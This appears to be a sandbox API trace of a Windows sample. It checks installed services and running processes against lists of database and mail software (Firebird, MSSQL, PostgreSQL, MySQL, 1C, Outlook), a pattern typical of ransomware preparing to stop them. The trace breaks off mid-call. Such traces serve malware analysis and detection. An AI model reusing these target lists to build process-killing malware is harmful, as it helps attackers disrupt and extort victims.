[0177.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0177.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0177.481] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0177.481] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0177.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0177.482] lstrlenW (lpString="gpsvc") returned 5 [0177.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0177.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0177.482] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0177.482] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0177.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0177.482] lstrlenW (lpString="iphlpsvc") returned 8 [0177.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0177.482] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0177.482] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0177.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0177.482] lstrlenW (lpString="LanmanServer") returned 12 [0177.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0177.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0177.482] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0177.482] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0177.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0177.482] lstrlenW (lpString="LanmanWorkstation") returned 17 [0177.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0177.482] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0177.482] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0177.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0177.482] lstrlenW (lpString="lmhosts") returned 7 [0177.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0177.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0177.482] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0177.482] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0177.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0177.482] lstrlenW (lpString="MMCSS") returned 5 [0177.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0177.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0177.483] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0177.483] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0177.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0177.483] lstrlenW (lpString="MpsSvc") returned 6 [0177.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0177.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0177.483] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0177.483] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0177.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0177.483] lstrlenW (lpString="Netman") returned 6 [0177.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0177.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0177.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0177.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0177.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0177.483] lstrlenW (lpString="netprofm") returned 8 [0177.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0177.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0177.483] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0177.483] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0177.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0177.483] lstrlenW (lpString="NlaSvc") returned 6 [0177.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0177.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0177.483] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0177.483] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0177.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0177.483] lstrlenW (lpString="nsi") returned 3 [0177.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0177.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0177.484] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0177.484] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0177.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0177.484] lstrlenW (lpString="PcaSvc") returned 6 [0177.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0177.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0177.484] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0177.484] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0177.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0177.484] lstrlenW (lpString="PlugPlay") returned 8 [0177.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0177.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0177.484] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0177.484] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0177.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0177.484] lstrlenW (lpString="Power") returned 5 [0177.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0177.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0177.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0177.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0177.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0177.484] lstrlenW (lpString="ProfSvc") returned 7 [0177.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0177.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0177.484] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0177.484] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0177.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0177.484] lstrlenW (lpString="RpcEptMapper") returned 12 [0177.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.485] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0177.485] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0177.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0177.485] lstrlenW (lpString="RpcSs") returned 5 [0177.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0177.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0177.485] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0177.485] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0177.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0177.485] lstrlenW (lpString="SamSs") returned 5 [0177.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0177.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0177.485] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0177.485] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0177.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0177.485] lstrlenW (lpString="Schedule") returned 8 [0177.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0177.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0177.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0177.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0177.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0177.485] lstrlenW (lpString="SENS") returned 4 [0177.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0177.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0177.485] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0177.485] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0177.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0177.485] lstrlenW (lpString="ShellHWDetection") returned 16 [0177.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.486] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0177.486] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0177.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0177.486] lstrlenW (lpString="Spooler") returned 7 [0177.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0177.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0177.486] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0177.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0177.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0177.486] lstrlenW (lpString="SysMain") returned 7 [0177.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0177.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0177.486] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0177.486] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0177.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0177.486] lstrlenW (lpString="Themes") returned 6 [0177.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0177.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0177.486] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0177.486] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0177.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0177.486] lstrlenW (lpString="TrkWks") returned 6 [0177.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0177.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0177.486] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0177.486] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0177.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0177.486] lstrlenW (lpString="UxSms") returned 5 [0177.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0177.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0177.487] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0177.487] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0177.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0177.487] lstrlenW (lpString="WdiServiceHost") returned 14 [0177.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0177.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0177.487] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0177.487] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0177.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0177.487] lstrlenW (lpString="WdiSystemHost") returned 13 [0177.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0177.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0177.487] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0177.487] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0177.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0177.487] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0177.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0177.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0177.487] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0177.487] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0177.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0177.487] lstrlenW (lpString="Winmgmt") returned 7 [0177.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0177.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0177.487] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0177.487] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0177.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0177.487] lstrlenW (lpString="WPDBusEnum") returned 10 [0177.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0177.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0177.488] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0177.488] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0177.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0177.488] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0177.488] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2dc [0177.493] Process32FirstW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.493] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0177.494] lstrlenW (lpString="System") returned 6 [0177.494] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0177.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0177.494] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0177.494] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0177.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0177.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0177.494] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0177.494] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0177.494] lstrlenW (lpString="smss.exe") returned 8 [0177.494] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0177.494] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0177.494] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0177.495] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0177.495] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0177.495] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0177.495] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0177.495] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.495] lstrlenW (lpString="csrss.exe") returned 9 [0177.495] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0177.495] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0177.495] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0177.495] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0177.495] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0177.495] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0177.495] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0177.495] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0177.496] lstrlenW (lpString="wininit.exe") returned 11 [0177.496] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0177.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0177.496] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0177.496] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0177.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0177.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0177.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0177.496] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.496] lstrlenW (lpString="csrss.exe") returned 9 [0177.496] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0177.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0177.496] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0177.496] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0177.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0177.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0177.497] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0177.497] lstrlenW (lpString="winlogon.exe") returned 12 [0177.497] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0177.498] lstrlenW (lpString="services.exe") returned 12 [0177.498] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0177.498] lstrlenW (lpString="lsass.exe") returned 9 [0177.498] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0177.498] lstrlenW (lpString="lsm.exe") returned 7 [0177.498] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.499] lstrlenW (lpString="svchost.exe") returned 11 [0177.499] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.499] lstrlenW (lpString="svchost.exe") returned 11 [0177.499] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.500] lstrlenW (lpString="svchost.exe") returned 11 [0177.500] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.500] lstrlenW (lpString="svchost.exe") returned 11 [0177.500] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.500] lstrlenW (lpString="svchost.exe") returned 11 [0177.500] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0177.501] lstrlenW (lpString="audiodg.exe") returned 11 [0177.501] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.501] lstrlenW (lpString="svchost.exe") returned 11 [0177.501] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0177.501] lstrlenW (lpString="explorer.exe") returned 12 [0177.502] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0177.502] lstrlenW (lpString="dwm.exe") returned 7 [0177.502] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.502] lstrlenW (lpString="svchost.exe") returned 11 [0177.502] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0177.503] lstrlenW (lpString="n.exe") returned 5 [0177.503] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0177.503] lstrlenW (lpString="spoolsv.exe") returned 11 [0177.503] Process32NextW (in: hSnapshot=0x2dc, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.504] lstrlenW (lpString="svchost.exe") returned 11 [0177.504] Process32NextW (in: 